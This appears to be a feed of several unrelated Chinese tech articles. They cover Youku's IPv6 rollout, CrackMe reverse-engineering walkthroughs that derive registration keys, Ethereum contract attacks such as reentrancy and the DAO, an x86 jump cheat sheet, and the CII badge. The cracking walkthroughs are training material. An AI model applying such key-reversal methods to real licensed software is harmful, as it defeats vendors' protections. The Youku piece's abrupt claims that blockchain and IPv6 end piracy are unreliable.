阿里妹导读：2018年双11前，优酷开启了IPV6的大门。9月份PC端业务开启灰度，迎来首位IPV6 VIP用户后，优酷移动客户端也马不停蹄地加入灰度大军。从0到1，花了几个月；从10到1000，花了几天；从1000到50W，只要几小时。IPV6灰度的马车一旦起跑，将再也不需要停止。IPV6在优酷，技术驱动产品的验证2018 世界杯期间，我们验证了IPV6的改造方案和技术可行性，双11期间优酷PC端和App在国内教育网及一线重点城市都有一定比例的IPV6用户，享受着高清直播点播服务，体验着一条刚刚建完的高速大道却没有几辆车的快感。专属的用户身份标识，专属的客户端网络检测能力，专属的会员卡，专属的红包，这一切可能不知不觉中就属于你了。随着双11后阿里集团几大应用相继开启灰度，我们迎来了中国首次IPv6大规模应用上线，优酷不仅能跑而且跑得快。这象征着优酷大家庭通过双11、世界杯等的洗礼，已经拥有了一支能战敢战，战则必胜的技术团队。IPV6不是一个人的功劳，是所有技术人努力的结晶。今天，我们采用专访问答的形式，带你走进优酷IPV6从立项到实践的全过程。优酷IPV6改造项目，由优酷应用架构吴灵晓（盖优）负责。应用架构部主要负责整体架构设计实施优化工作，探索从DEVOPS向AIOPS转变，智能运维、深度学习、大数据分析、智能机器人等新技术也有大量的成熟运用。立项Q:IPV4和IPV6有哪些区别呢？安全：IPv6把IPSec作为必备协议，保证了网络层端到端通信的完整性和机密性。业务无限扩展：不受地址短缺的影响。个性化服务：流标签的使用让我们可以为数据包所属类型提供个性化的网络服务，并有效保障相关业务的服务质量。减少开销：报头格式大大简化，从而有效减少路由器或交换机对报头的处理开销。万物互联：大容量的地址空间能够真正地实现无状态地址自动配置。Q:为什么想到要做IPV6改造？第一，IPV4环境恶化：第二，政策驱动：2017-11-26 中共中央办公厅国务院办公厅印发《推进互联网协议第六版（IPv6）规模部署行动计划》。2018-05-03 工业和信息化部关于贯彻落实《推进互联网协议第六版（IPv6）规模部署行动计划》的通知。第三，技术驱动产品业务：IPv6在客户端-服务端-阿里云CDN-优酷直播点播业务的全线贯通应用，优酷完成了新网络技术到产品应用的实现，改写技术服务产品，服务倒逼技术升级的局面，使得IPV6网络技术能够支撑优酷今后几年甚至十几年的业务需求，5G、P2P、人工智能、AI、物联网等，在网络技术上已经没有障碍。第四，天时地利俱备，差人和：政策支持，集团推动，技术展现为一体，这么好的机会，不能错过。拥有一群打过双11，打过春晚，打过世界杯的战友们，没有什么事是做不好的。Q:决定做之后，怎么列的计划呢？目标是什么？这还真是前无古人，后有来者。谁都没有经验，没有相似可参照的案例，涉及团队众多。各种调查与讨论，以及集团相关的计划安排，整个IPV6项目将分成三步走，包括外网阶段，用户端与接入层支持 v6、内网阶段，服务端内部v4/v6双栈、以及内外网IPv6-only 。外网改造：实现应用快速对外服务，以web/App请求服务为核心，满足IPv6生态发展的需求，并且以外网拉动应用的不同需求；内网改造：应用逐渐扩大到爬虫、邮箱、DB、存储等V6直接交互，需要内网服务器部分采用IPv6，需要整网双栈交付；IPv6 Only：当超过50%应用逐步迁移到IPv6后，新应用默认采用v6开发，遗留一些老旧应用、用户继续采用IPv4服务，内网采用4over6进行封装。相对双栈而言，IPv6 only成本更低，查表转发速度更快，只需维护一套协议栈。阿里网络演进从外到内，从用户到应用逐层迭代，尽量做到成本最低，效率最高。核心目标18自然年底，实现全量灰度。还是那句话，要么不做，要做就做最好。评估后全量灰度目标虽然风险偏大，但努力一把还是可控的。过程Q:对研发同学来说，需要关心哪些？怎么确认哪些要改哪些不要改？对研发的同学来说，只需要关心客户端APP/PC端网页及服务端的改造。客户端基本上涉及到基础网络包NetworkSDK等集团二方包的升级。使用httpdns解析的，需要改造实现客户端网络的判断和接收httpdns服务端下发的AAAA记录；使用localdns解析的，需要改造实现DNS服务请求参数中添加AAAA记录解析的标识。使用三方库的，要升级至最新版并确认支持IPV6，不支持的需要考虑更换三方库。IP 字段是否正确extra : {‘firstIp’: ‘xxxxx’} 是否正确携带探测埋点弱网、DNS耗时的情况下，探测能否正常网络切换特别频繁的场景PC端/服务端要关心的就多一点了，只要你的业务处理中有以下任意一点的，都是要做业务改造的，也就是写Bug。1.IP地址库使用：是否有用到地址库，对用户IP进行地域来源等判断。有的话需要升级到IPV6地址库，并更新调用方法。2.IP地址格式判断：是否对用户IP进行验证，有的话需要加入IPV6地址格式的正则表达式判断。3.IP地址保存：是否对IP有存库等保存操作，需要修改相应字段的长度，IPV6长于IPV4，MySQL 建议字段类型 VARBINARY(16)。4.依赖链路上的修改：是否会将IP作为接口参数传递给下游依赖业务。有的话，下游依赖业务也需要改造。5.客户端IP地址的取得方式：是否从客户端请求的头部获取。是的话，那么在双栈环境中，同一请求，你只能获取到V4和V6地址中的一个，不可能两个都获取。如果是通过请求正文中的某个字段，把客户端地址传上来的，那么，你需要考虑是否需要获取客户端的v4v6的所有地址。是的话，那么就需要扩展请求字段，将v4,v6分成两个字段提交，同时服务端也需要做接收改造处理。6.日志，数据的采集等数据产品的改造：是否用了第三方的采集工具，如果采集工具不支持IPV6的话，那么采集上来的数据会和服务端的请求日志无法对齐，产生GAP。类似还包括广告投放与监测等分别属于多方的业务场景。从业务上来看，需要区分IPv4用户请求和IPv6用户请求，并分开进行数据分析。所以数据产品数据存储等都需要能够支持用户IPv6数据的采集。7.安全产品：内容安全：文本安全过滤，七层流量清洗等等，安全产品改造，业务升级二方包/客户端。8.监控：以用户IP作为判断条件/统计条件的监控配置，需要改造。9.大数据统计：以用户IP作为判断条件/统计条件的内容，需要业务改造。10.依赖服务：原有阿里云产品需要更新为支持IPV6的产品，VPC，ECS，OSS，CDN等都是更换范围。Q:改造中主要遇到哪些问题呢？1.没有IPV6环境：办公网不具备IPv6接入环境，阻塞业务开发；内网尚未改造，无法打通日常（测试）环境。一开始，基础环境还没有具备的时候，我们使用IPV6 over ipv4链路VPN的方式连入测试环境，需要PC/客户端加证书改hosts，移动端无法改hosts的，需要root，越狱，各种凌乱，但至少业务测试可以开始启动。然后，我们加强了基础网络和IT合作，在多个园区部署多个IPV6的接入环境，打通IPV6出口，打通办公网和机房的IPV6链路，慢慢实现外网IPV6，日常环境通，预发通，正式通，慢慢使业务能够测试逐步提升到IPV4相同的测试体验，通过域名劫持等手段，跳过了Hosts配置的尴尬，达到标准的测试效率。2.OS网络模块问题：需要让容器支持从请求头部获取IPV6地址，那么就需要把用户IP一级一级透传过来，就需要在各级的服务器上升级网络模块，扩展报文头部。例如toa模块，toa模块是为了让后端的realserver能够看到真实的clientip而不是lvs的dip。同时，tengine/nginx等应用需要升级到支持IPV6的版本（支持新toa模块等），由于历史原因存在各种老版本无法升级，导致升级受阻。我们通过推动应用接入统一接入改造，避免自行升级网络模块带来的风险。通过老版本应用的升级，去nginx的方式，统一升级安装tengine-proxy（安装在ecs测试机器或宿主机上都可以），为了能减少业务改造工作量，在接入层架构我们做了大量的改造。3.地址库特殊需求：优酷有自己的地域编码，优酷广告业务还有广协提供的地域编码，还有业务使用集团的地址库，总之地址库各种不统一。首先，统一地址库，要求所有业务必须统一使用集团地址库。并且协调集团地址库生产方，满足优酷使用场景需求，使统一过程中业务改造工作量减少。再次，对于广告等必须要使用行业统一地址库的场景，我们也制定了多套方案去解决。兜底方案：将广协地址库中的地区编码，加入到集团地址库中，使集团库具备行业库的能力，在行业库没有完全产出之前，广告业务可以临时使用集团地址库进行改造和测试，保障业务不受损。后续方案：主动出击，联系广协等行业协会，加快产出IPV6地址库，并且主动无偿提供集团地址库数据，体验了阿里的企业责任，更加快了整个行业的改造进度。最终行业协会从立项到产出地址库的时间，只用了不到1个月，而集团收集这些数据花费了一年半的时间。4.MTU问题：IPV4时代，中间网络三层设备会进行分片，所以一般设置为1500的最大值，以降低网络开销。但IPV6协议为了减轻中间网络层设备繁杂度及成本，中间设备不再分片，由两端的协商指定。导致默认mtu1500的情况下，中间设备出现大量丢包，原因是NAT转换，TCP Option等额外叠加，实际超过1500。短期解决办法是，开启SYN Proxy，通过MSS与端进行协商。调整MTU为最小值1280。发现中间层MTU小于1280时，进行网络报障等办法。5.客户端是否IPV6，如何验证问题：这是一个很现实的问题，我的网络已经是IPV6了，业务也能正常运行，但怎么确认网络是运行在IPV6上，没有被降级呢？主要有以下两个手段：1）抓取客户端日志：这也是最笨最准确的手段，具体抓日志的方法有很多，就不再重复介绍了。2）业务改造，加入网络检测能力，将优酷客户端当做网络测试的工具。6.协议回落问题7.安全问题：有运营商的出口能力，黑洞能力进展缓慢或者暂不具备。有安全基础产品的存在绑定域名后就能直接访问任意服务，灰度放大。8.CDN灰度问题：CDN域名由阿里云进行调度控制，无法和业务同一灰度范围。增加IPV6专属CDN域名，通过业务侧增加业务逻辑，分别下发不同的域名来实现同一灰度节奏能力。结果Q:灰度是如何操作执行的？通过httpdns方式，提供两种灰度能力：基于用户设备的白名单基于地域+运营商+百分比+用户设备白名单基于app版本的全量百分比通过localdns(ADNS)，提供一种能力：ADNS新开发并上线了一个能力，支持一个域名下配置多CNAME解析功能，并且每条解释都可以配置权重，通过修改IDNS的cname权重配置来达到比例控制。同时加上自有的线路和运营商的选择能力，满足地域级的灰度需求。我们也开发了自动化的灰度系统，根据起始参数和灰度目标，自动安排灰度比例和时间节奏，实现完全自动化的灰度引流。监控预警+自动回滚能力，边喝咖啡边看灰度量，就是这么实现的。Q:如何确认业务是否正常呢？业务层：业务配置的IPV6监控平台，IPV4与IPV6监控曲线对比。接入层：IPV6流量大盘，分域名，分接口展示成功量，成功率及RT。数据平台：业务指标的大数据分析及报表展示。基础网络：省份运营商的链路成功率，IPV6用户占比，链路质量链路延迟，IPV6降级IPV4比例等数据。有了这些，还怕业务有问题吗？我们知道，视频的生命周期，是从采集到制作到生产，最后到视频的呈现，这里有很多环节，每个环节上都有非常专业的团队来保障。在制作环节会做调音、调色，在生产环节会做编码压缩，在呈现环节的会做解码和后处理，每个环节独立来看都做得不错。但如果我们站在链条的两端来看，制作侧和呈现侧看到的视频效果存在比较大的差异。但是今天，我们的场景发生了改变，我们有形形色色的终端，有手机、Pad、PC、电视、投影，呈现场景已经不可控的，所以今天我们看到的画面，已经不是我们的导演原本希望呈现的画面了。这是今天我们想去解决的问题，当然整个链条上的联动不是靠优酷一家可以解决的，因此我们需要更多产业链上的朋友和我们一起来解决这个问题。当每个人都是导演、演员、编辑、美工的时候，缺少的是什么？空间容量，没有创作空间，没有办公空间，没有消费空间，可持续增量空间。这些不全都是IPV4的错，但确实IPV4是瓶颈，当一个人有上百个设备的时候，IPV4肯定满足不了。有了IPV6，再多设备都OK，每个设备都能互联互通，万物互联。那么，智能化的后期制作变得可能。快速将优酷内容库批量处理为适合视频互联网传播的版本，我们使用了自适应调整映射曲线的算法，根据内容明暗程度，有时提升暗区对比度，有时提升亮区对比度。任何端设备都能干。那么，内容版权将变得容易控制，不用花精力去防盗版了。区块链技术+IPV6+5G，每个设备都记录播放信息，要串改内容必须修改超过51%的设备，盗版成本无限放大。没有了防盗成本后，版权不再昂贵，都能接受。展望技术的价值在于帮助人，不是替代人。通过技术保障项目成功，项目成功也推动技术落地。这一切都在IPV6改造项目中体验。随着灰度扩大，下一期改造来临。普通用户根据不知道IPV6是什么的情况下，通过业务，通过产品去更好地展现出来，让用户能有感知。例如：视频变快变清晰了，走到哪里看到哪里了。会员时间增长了，不用花钱了。技术驱动业务，将会更美好。本文作者：期待被关注的阅读原文本文来自云栖社区合作伙伴“阿里技术”，如需转载请联系原作者。

CrackMe006 | 160个crackme精解系列（图文+视频+注册机源码）

作者：逆向驿站微信公众号：逆向驿站知乎：逆向驿站crackme006,依然是delphi的，而且没壳子，条线比较清晰，算法也不难，非常适合新入门的来练习.快过年了，Crackme系列年前就停更在006吧，祝大家新年666 ,年后继续准备【环境和工具】win7/xp虚拟机环境CrackMe006（aLoNg3x.1.exe）ollydbgDededark【学习层次】逆向分析程序验证流程逻辑解密算法，写注册机积累Delphi程序逆向特点经验实战图文最终效果展示程序验证流程逻辑图动态分析1.程序观察旁边既然有个help,我们当然要看了，四个弹框，有实际信息价值的是头两个，如图大体意思是，这个crackme的最终目标是隐藏ok和cancella按钮来观看完整的Ringzero logo。2.控件ID，事件函数信息依然老规矩，既然是delphi的程序，我们就先用dededark给控件信息和事件函数信息搜集出来3.控件ID常量搜索法，打开入手点程序开始是ok按钮是禁用状态，cancella按钮是可以点击的，那么我们就从cancella入手，两个方向，你可以去找cancellaclick事件的函数入手，也可以从cancella控件ID入手，我这里选择后者，因为最终目的是cancella要被隐藏起来，无论如何一定会用到控件ID查找→所有常量→2D0(cancella按钮控件ID)，结果如下一共有四个地方用到了这个控件ID,我们分别跟入查看哪个是我们想找的隐藏这个控件的反汇编代码，从上至下依次如下找到了入手点，我们开始上下阅读函数块，发现这正是cancellaclick事件函数4.分析Cancellaclick中算法在Cancellaclick函数入口处下断点，然后用户名输入123456,注册码输入654321,然后开始动态调试分析，F8步过分析如下图F7跟如算法call仔细分析，如下图这种不是摘要hash的，是直接可以逆推计算出注册码，根据以上算法的反汇编分析，写出逆推注册码的源码，如下例如我们输入的用户名是123456，逆推注册码计算如下"123456"的第五个字符是"5",asc码是53，即十六进制0x35除以7余数是4，再加2是66的阶乘是6 5 4 3 2 *1，等于720 ，即十六进制的0x2D0123456每个字符的asc码相加是0x31+0x32+0x33+0x34+0x35+0x36,结果是0x1350x135 乘以0x2D0是0x365100x36510比注册码的十六进制形态大0x7A69即注册码是0x36510-0x7A69 = 0x2EAA7 ,即十进制是191143算出了注册码，我们来测试一下，如下动图Cancella按钮消失5.分析OK按钮中算法有了如上的过程作为经验，我们"依葫芦画瓢",来进行ok按钮中的算法分析，依然是okClick事件入口下断，F8动态分析，结果如下F7跟如算法call仔细分析，如下图分析后发现，这个算法是根据已经算出的注册码，再次要求用户名合规，算法并不难，而且很敏感的看到0x41,0x41对应的asc字符是大写字母A,而0x41加上的数字的取值范围是0-0x19,即十进制0-25,那一看就知道，就是26个大写字母范围内了，这时候你可以变态的暴力枚举也行，当然这个也是可以逆推出来，我们还是选择逆推吧。源码如下我们刚输入的注册码是191143，逆推出用户名应该是"BXDEUG",验证如下动图OK按钮消失，至此全部搞定, 是不是感觉不难，去网盘中下载，试试吧补充知识点再CancellaClick事件算法中，有个阶乘计算，函数内部反汇编代码如下，可以作为知识点积累，下次看到这个第一时间就能反应过来，提高效率，逆向的老手往往是这种知识碎片很多，而且脑部搜索算法很精准最后，喜欢这里的请推荐给你身边的朋友吧（渗透测试、逆向破解、病毒分析、信息安全等）文章中涉及软件、课件、源码等均在网盘，为避免网盘链接失效，公众号中回复：网盘欢迎关注微信公众号：逆向驿站相关文章● CrackMe-005精解（下）● CrackMe-005精解（上）● CrackMe-004精解● CrackMe-003精解● CrackMe-002精解● CrackMe-001精解本期标签：dededark|delphi反汇编|crackme|crackme6|crackme06

以太坊合约的安全性弱点，你都绕开了吗？

很多以太坊的智能合约控制着有实际价值的数字资产。因此，保证合约没有安全漏洞是十分重要的事情。这几期为大家带来一篇 2017 年对以太坊合约攻击调研的文献，来帮助大家避免以太坊智能合约设计中的一些可能导致安全性问题的弱点。在这里，你也可以看到，导致以太坊分叉的著名事件 The DAO 攻击，其原理是什么。这篇文献分两部分，第一部分介绍了一些如果对 Solidity 语言和智能合约不当使用会导致问题的弱点；第二部分则用一些实例展示了这些弱点可能会导致怎样的问题。我们今天还推送了另一篇文章作为背景资料，为不熟悉智能合约和 Solidity 语言的读者介绍一些背景内容。不当使用会导致问题的点合约内函数调用在使用 Solidity 编写智能合约时，可以调用其他合约中的函数。假设 Alice 合约里有一个 ping(uint) 函数， c 是一个 Alice 合约在以太坊上的地址。如果其他合约（或 Alice 合约自身）想要以参数 42 调用 ping 函数，有三种方式：第一种call 调用：通过合约地址，合约函数，函数签名和调用参数进行调用。如果被调用函数中有修改合约变量的代码，将修改被调用合约中相应的变量。第二种delegatecall 与 call 类似，区别是 delegatecall 执行时，仅仅使用被调用函数的代码，而代码中如果涉及到合约变量的修改，则是修改调用者合约中的变量。如果被调用的函数中有 d.send(amount)的指令，表示向地址 d 转一定数额的以太币，在 call 模式下这笔钱从被调用合约的余额中转出。在 delegatecall 模式下将从调用者合约的余额中转出。因此， delegatecall 是更危险的命令，如果这一命令加载的函数代码是合约编写者不可控的，可能会导致合约的钱被转走或合约被销毁等严重后果。第三种这第三种调用方式在论文中被称为直接调用 (direct call). 它先在合约里声明了 Alice 合约需要调用的函数，然后调用它。这种方式与以上两种方式在异常处理上会有区别。需要注意的是，以上三种方式如果将函数名或者参数类型设置错误，则会调用回退函数 (fallback function). 如果是因为笔误打错了内容，可能会触发本不该执行的回退函数中的代码。Gasless Send在 Solidity 中，如果变量 rec 的类型为 address, 那么 rec.send(amount) 表示由合约向地址 rec 转账数额为 amount 的 wei. (10^18 wei = 1 ether ) 在这个执行的过程中，还会触发地址 rec 的回退函数。如果回退函数执行过程中消耗的 gas 大于 2300，则会触发一个异常，导致转账失败。异常处理在背景介绍中我们提到过，使用 Solidity 执行智能合约时会抛出异常，但是不同的合约内函数调用方式对异常（exception）的处理方式不一样。如果合约执行过程中没有函数调用，或者只有 direct call 直接调用，那么当触发一个异常的时候，视为合约执行失败，直接停止合约的执行，回滚执行过程中的转账和对合约变量的修改等操作，并扣除全部的交易费用。如果通过 call, delegatecall 或 send 调用其他合约函数，在执行期间触发的异常不会影响原有函数。也就是说，如果在执行 send 的触发的回退函数过程中，如果 gas 不足引起了异常，转账会失败，但是原有合约会被成功地执行。如果对这一点缺乏足够的理解，错误地认为合约执行成功意味着 call 调用也一定成功，错误地认为没有触发异常就意味着 ether 转账成功，就可能导致合约有安全性问题。正确的做法应当是通过函数调用返回的结果判断其执行是否成功。而一些研究表明有 28% 的合约没有检查返回结果。（当然，这不意味着一定有安全问题）重入问题Solidity 中回调函数的机制，可能会让合约调用其他函数后，被调用的函数又调用了调用者合约的函数，造成循环，下面是一个例子假设区块链上已经如下的合约 Bob，如果 sent 变量为 false, 就向给定地址发送一笔钱。而 Mallory 是攻击者恶意构造的合约，代码如下所示。Bob 合约设计的本意是，如果 sent 变量为 false, 就向给定地址发送一笔钱。然而，当这笔钱发往攻击者合约时，会触发攻击者合约的回退函数，回退函数再次调用 ping 函数，如此无限循环，直到交易费耗尽或调用深度达到上限 1024 次触发异常。但之前提到了，对于 call 调用的函数在执行过程中触发的异常，不会影响原来的函数的成功执行。也就是说，除了最后一步转账会失败，之前的转账都会成功。几种攻击接下来，我们介绍几种利用上面提到弱点的攻击例子。DAO 攻击DAO 攻击是以太坊历史上最著名的攻击，盗走了价值 6000 万美元的以太币。以太坊社区通过强行回滚硬分叉了以太坊，导致了以太坊和以太经典两条分叉链并存的局面。下面是一个简化版的 DAO 智能合约，但足以描述 DAO 合约的漏洞。这个合约的功能很简单，任何人可以向指定地址捐献以太币，受捐赠人可以提走自己受捐赠的币。而攻击者通过以下的合约，就可以大量转走合约中的币。其原理与上文所说的重入问题完全一样， SimpleDAO 合约的 withdraw 函数执行时向攻击者合约转账，转账会触发攻击者合约的回退函数，攻击者合约的回退函数会重新调用 SimpleDAO 合约的 withdraw 函数，形成一个循环。当循环因为各种原因结束的时候，除了最后一步，之前的执行都不会失败。攻击者转出了大量的钱。另外，这个合约没有考虑整数溢出问题，因此有如下攻击成本更低的方案在这个合约中，攻击者设计了一个函数 attack, 当这个函数被执行的时候，攻击合约先给自己捐赠 1 wei, 然后把这 1 wei 取出来。在取钱的时候，会触发攻击者合约的回退函数。与之前的攻击不同，这次我们只利用重入问题 1 次，也就是 withdraw 函数被执行了两遍。在 withdraw 第二次向攻击者转账以后，攻击者不再调用 withdraw.于是 withdraw 函数中的转账操作 msg.sender.call.value(amount)() 发生了2次，自然地，它的下一行也会被调用 2 次。这两次被调用将 credit[攻击者地址] 变成了 -1 wei, 会被虚拟机解读为 2^256-1 wei. 这时，攻击者可以从中取出几乎无限多的钱出来。特别的是，即使 withdraw 函数在转账后检查 send 执行是否成功，也只能防范第一种攻击。以太王座考虑下面一个游戏合约，在游戏中，大家将竞争一个王座。后来者可以通过向王座上的人支付一笔钱来取而代之，每一轮取得王座需要的钱都要比上一轮高。最后取得王座的人有额外的收益。（没有在合约中体现。）这个合约看上去没什么问题。事实上，他人在向王座上的人（地址）支付费用的时候，会触发那个地址（如果是一个合约）的回退函数。如果王座上合约地址的回退函数需要的交易费过高，会触发 gasless send 的问题，就会导致转账失败。但后续变更王座拥有者的代码还会照常执行，新来者可以毫无成本地获得王座。修改这一问题的思路看上去很简单，只要将转账的代码 king.send(compensation) 变成 if(!king.call.value(compensation)())throw; 来判断一下转账是否成功就可以了。然而这会导致另一个问题。王座上的地址（合约）将自己的回退函数设定成一定会触发异常，例如 function(){throw;}，就没有人有能力将他从王座上赶下去了，因为所有转账的结果都会失败。以上就是这一期的内容，在接下来的文章中，我们将会介绍文献中提到的其他的 Solidity 的弱点与可能导致的问题。参考文献：[1] Atzei, Nicola, Massimo Bartoletti, and Tiziana Cimoli. “A survey of attacks on ethereum smart contracts (sok).” Principles of Security and Trust. Springer, Berlin, Heidelberg, 2017. 164-186.Conflux 是致力于打造下一代高性能的 DAPP 公链平台欢迎关注我们的微信公众号：Conflux中文社区(Conflux-Chain)添加微信群管理员 Confluxgroup 回复“加群”加入 Conflux官方交流群 ...

ASM汇编常用跳转指令-极速查

作者：逆向驿站微信公众号：逆向驿站知乎：逆向驿站若不是老鸟，是不是经常为各种JXX汇编跳转指令查资料？影响效率，更影响潜意识整体分析的"灵光一现"。本公众号《汇编跳转指令速查图片》已更新，公众号回复：跳转速查版公众号回复：跳转即可获得完整表格版如果你连N都不想自己拆解的话，那就在这里找吧，基本比较全了跳转指令分三类一、无条件跳转JMP ;无条件跳转二、根据CX、ECX寄存器的值跳转JCXZ ;CX 为 0 则跳转JECXZ;ECX 为 0 则跳转三、根据EFLAGS寄存器的PSW标志位跳转JE ;等于则跳转同JZJNE ;不等于则跳转同JNZJA ;无符号大于则跳转JNA ;无符号不大于则跳转JAE ;无符号大于等于则跳转同JNBJNAE ;无符号不大于等于则跳转同JBJB ;无符号小于则跳转JNB ;无符号不小于则跳转JBE ;无符号小于等于则跳转同JNAJNBE ;无符号不小于等于则跳转同JAJG ;有符号大于则跳转JNG ;有符号不大于则跳转JGE ;有符号大于等于则跳转同JNLJNGE ;有符号不大于等于则跳转同JLJL ;有符号小于则跳转JNL ;有符号不小于则跳转JLE ;有符号小于等于则跳转同JNGJNLE ;有符号不小于等于则跳转同JGJZ ;为零则跳转JNZ ;不为零则跳转JS ;为负则跳转JNS ;不为负则跳转JC ;进位则跳转JNC ;不进位则跳转JO ;溢出则跳转JNO ;不溢出则跳转JP ;为偶则跳转JNP ;不为偶则跳转JPE ;奇偶位置位则跳转同JPJPO ;奇偶位复位则跳转同JNP最后，喜欢这里的请推荐给你身边的朋友吧（渗透测试、逆向破解、病毒分析、信息安全等）欢迎关注微信公众号：逆向驿站相关文章● CrackMe-005精解（下）● CrackMe-005精解（上）● CrackMe-004精解● CrackMe-003精解● CrackMe-002精解● CrackMe-001精解

简介：CII最佳实践徽章 - CNCF毕业标准要求之一

从沙箱或孵化状态毕业，或者作为一个新项目加入作为一个毕业项目，项目必须符合孵化阶段标准以及：有来自至少两个机构的提交者。已经实现并维护了核心基础结构计划（CII）的最佳实践徽章。采用CNCF行为准则。明确定义项目治理和提交者流程。这最好在GOVERNANCE.md文件中进行，并引用OWNERS.md文件显示当前和荣誉提交者。至少在主要仓库提供项目采用者的公开列表（例如，ADOPTERS.md文件或项目网站上的徽标）。获得TOC的绝对多数选票进入毕业阶段。如果项目能够表现出足够的成熟度，项目可以尝试直接从沙箱移动到毕业。项目可以无限期地保持在孵化状态，但通常预计在两年内毕业。这里介绍一下其中的核心基础结构计划（CII）的最佳实践徽章。CII最佳实践徽章计划Linux基金会（LF）的核心基础设施计划（Core Infrastructure Initiative，CII）最佳实践徽章是Free/Libre和开源软件（FLOSS）项目用于表明它们遵循最佳实践的一种方式。项目可以自愿进行自我认证，通过使用此Web应用程序来解释他们如何遵循每种最佳实践。CII最佳实践徽章的灵感来自GitHub项目众多可获得的徽章系统。徽章的使用者可以快速评估哪些FLOSS项目遵循最佳实践，因而更有可能生成更高质量的安全软件。最佳实践标准“合格”（“passing”）级别摘要这是合格标准的摘要，有关详细信息，请参阅完整的标准列表：有一个稳定的网站，说名：它做什么如何获得如何提供反馈如何贡献和首选风格明确指定FLOSS许可证项目网站支持HTTPS文档记录如何安装和运行（安全地）以及任何API有分布式公共版本控制系统，包括版本之间的变化：使用语义版本控制格式为每个发布提供唯一版本提供每个发布的更改摘要，识别任何已修复的漏洞允许提交、存档和跟踪错误报告：确认/响应错误和增强请求，而不是忽略它们有安全的、记录在案的流程来报告漏洞在14天内回复，并在60天内修复漏洞，如果漏洞是公开的使用标准的开源工具作有效的构建启用（并修复）编译器警告和类似lint的检查执行其他静态分析工具并修复可被攻击利用的问题拥有涵盖大部分代码/功能的自动化测试套件，并正式要求对新代码进行新的测试自动运行所有更改的测试，并应用动态检查：执行内存/行为分析工具（sanitizers/Valgrind等）执行模糊测试器（fuzzer）或Web扫描程序有开发者了解安全软件和常见漏洞错误如果使用加密：使用公共协议/算法不要重新实现标准功能使用开源加密技术使用保持安全的密钥长度不要使用已知损坏或已知弱算法使用具有前向保密性的算法使用密钥拉伸算法，使用迭代、加盐和哈希值存储任何密码使用加密随机数源Kubernetes的最佳实践徽章https://bestpractices.coreinf…Prometheus的最佳实践徽章https://bestpractices.coreinf…Envoy的最佳实践徽章https://bestpractices.coreinf…2019年KubeCon + CloudNativeCon中国论坛提案征集（CFP）现已开放KubeCon + CloudNativeCon 论坛让用户、开发人员、从业人员汇聚一堂，面对面进行交流合作。与会人员有 Kubernetes、Prometheus 及其他云原生计算基金会 (CNCF) 主办项目的领导，和我们一同探讨云原生生态系统发展方向。2019年中国开源峰会提案征集（CFP）现已开放在中国开源峰会上，与会者将共同合作及共享信息，了解最新和最有趣的开源技术，包括 Linux、容器、云技术、网络、微服务等；并获得如何在开源社区中导向和引领的信息。大会日期：提案征集截止日期：太平洋标准时间 2 月 15 日，星期五，晚上 11:59提案征集通知日期：2019 年 4 月 1 日会议日程通告日期：2019 年 4 月 3 日幻灯片提交截止日期：6 月 17 日，星期一会议活动举办日期：2019 年 6 月 24 至 26 日2019年KubeCon + CloudNativeCon + Open Source Summit China赞助方案出炉啦

CrackMe005-下篇 | 逆向破解分析 | 160个CrackMe（视频+图文）深度解析系列

作者：逆向驿站微信公众号：逆向驿站知乎：逆向驿站CrackMe005,上篇说了具体方法，下篇来发逆向分析过程，看看老夫是如何得到上篇的具体方法的！准备【环境和工具】win7/xp虚拟机环境CrackMe005（ajj2.zip）ollydbgDededarkpeidUPXEasyGUI.exe(upx专用脱壳器)【学习层次】爆破，但是这个CM作者声明了，爆破他是不认可的解密流程，写注册机积累Delphi程序逆向特点经验详解视频搞清Delphi控件ID在反汇编代码中的特点，其实逻辑就清晰多了https://v.qq.com/x/page/x0830…实战图文一.DedeDark梳理事件、控件信息二.动态分析1.根据字符串定位总判断位置字符串“注册了”，“厉害厉害真佩服”入手，定位发现是timer2事件函数，五个判断不停的判断，如图可以看到判断跟6个值有关，分别是[ebx+304]、[ebx+308]、[ebx+310]、[ebx+318]、[ebx+314]、[ebx+31C],我们下文所有就对其简称做304、308、310、318、314、31C2.逐个判断层层分析我们从简单往复杂，并结合他们之间内在的逻辑先后顺序，去逐个分析，顺序分别是31C、304、308、310、314和318，其中最难的是310，方法是常量跟踪法，即在OD中点击查找→所有常量，看看都那些地方对这些值有操作31C总判断目标：31C值，不能等于0x3E7相关事件函数：Button1Click最终逆向分析结论：Buton1Click事件不能被触发，否则31C就会被赋值0x3E7,即不能点击注册按钮，这里需要注意click事件和mousedown事件，click必须是一个按下和抬起的全过程，而且鼠标位置都在按钮控件范围内，而mousedwon事件按下就是具体逆向分析过程如下所有常量查找结果，如下反汇编代码如下呵呵就一行，确实简单吧304总判断目标：304值，不能等于0xC34相关事件函数：FormCreat最终逆向分析结论：FormCreat生成表单的事件函数中，会对一个固定路径检查是否有合规内容的合规文件，有则，显示出隐藏的Edit2控件具体逆向分析过程如下所有常量查找结果，如下反汇编代码如下注意：我这里已经把，CrackMe开发者要求的X盘符改为了C盘符，为的是方便308总判断目标：308值，不能等于0x230D相关事件函数：Button1MouseDown、Panel1DblClick最终逆向分析结论：308初始值是由FormCreat函数初始化为0x28E,在Button1MouseDown事件中，右键一次则308值增加0x3,最终目标是0x29D,因为等于0x29D后，Panel1DblClick事件就可以解禁Edit2控件，则0x29D减去0x28E再除以0x3最后结果等于5，即右键点击注册按钮5次，再去双击panel1控件没有图的地方，就可以解禁Edit2控件具体逆向分析过程如下所有常量查找结果，如下反汇编代码如下310 中嵌套 30C，最复杂的地方总判断目标：310值，必须等于0xF94相关事件函数：FormMouseMove、Edit2DblClick最终逆向分析结论：310的值要想最终被赋值0xF94,必须完成三重判断，第一个是当控件ID是0xE20时，即是image3"性相近"的时候，FormMouseMove捕捉的XY坐标都足够大，即右下脚，满足则310被赋值0x10,第二个是当控件ID是0x2DC时，即image2"性本善"的时候，FormMouseMove捕捉的X坐标足够小、Y坐标足够大，第三个是，30C不能等于初始值0x9, 30C被赋值的条件是Edit2中的字符串长度是8位，且第二位是"_"，第6位是"," 